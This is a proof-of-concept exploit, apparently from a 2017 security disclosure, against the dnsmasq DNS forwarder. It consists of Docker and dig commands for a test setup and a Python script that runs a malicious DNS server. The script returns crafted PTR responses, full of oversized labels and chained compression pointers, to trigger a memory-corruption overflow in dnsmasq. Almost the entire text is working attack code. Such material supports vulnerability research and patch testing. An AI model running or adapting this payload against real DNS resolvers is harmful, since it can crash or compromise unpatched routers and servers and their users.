docker build -t dnsmasq .
docker run --rm -t -i --name dnsmasq_test dnsmasq bash
docker cp poc.py dnsmasq_test:/poc.py
docker exec -it <container_id> bash
docker exec -it <container_id> bash
# python poc.py 127.0.0.2 53
Listening at 127.0.0.2:53
# /testing/dnsmasq/src/dnsmasq -p 53535 --no-daemon --log-queries -S 127.0.0.2 --no-hosts --no-resolv
dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq: using nameserver 127.0.0.2#53
dnsmasq: cleared cache
# dig @localhost -p 53535 -x 8.8.8.125 > /dev/null
# dig @localhost -p 53535 -x 8.8.8.125 > /dev/null
#!/usr/bin/python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <[email protected]>
# Felix Wilhelm <[email protected]>
# Gabriel Campana <[email protected]>
# Kevin Hamacher <[email protected]>
# Gynvael Coldwind <[email protected]>
# Ron Bowes - Xoogler :/
import socket
import struct
import sys
def dw(x):
return struct.pack('>H', x)
def udp_handler(sock_udp):
data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id = struct.unpack('>H', data[0:2])[0]
query = data[12:]
data = dw(id) # id
data += dw(0x85a0) # flags
data += dw(1) # questions
data += dw(0x52) # answers
data += dw(0) # authoritative
data += dw(0) # additional
# Add the question back - we're just hardcoding it
data += ('\x03125\x018\x018\x018\x07in-addr\x04arpa\x00' +
'\x00\x0c' + # type = 'PTR'
'\x00\x01') # cls = 'IN'
# Add the first answer
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x04\x00' + # size of this resource record
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x0e' + 'Z'*14 +
'\x00')
# Add the next answer, which is written out in full
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x00\x26' + # size of this resource record
'\x08DCBBEEEE\x04DDDD\x08CCCCCCCC\x04AAAA\x04BBBB\x03com\x00')
for _ in range(79):
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x00\x02' + # size of the compressed resource record
'\xc4\x40') # pointer to the second record's name
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x00\x11' + # size of this resource record
'\x04EEEE\x09DAABBEEEE\xc4\x49')
sock_udp.sendto(data, addr)
if __name__ == '__main__':
if len(sys.argv) != 3:
print 'Usage: %s <ip> <port>\n' % sys.argv[0]
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((ip, port))
print 'Listening at %s:%d\n' % (ip, port)
while True:
udp_handler(sock_udp)
sock_udp.close()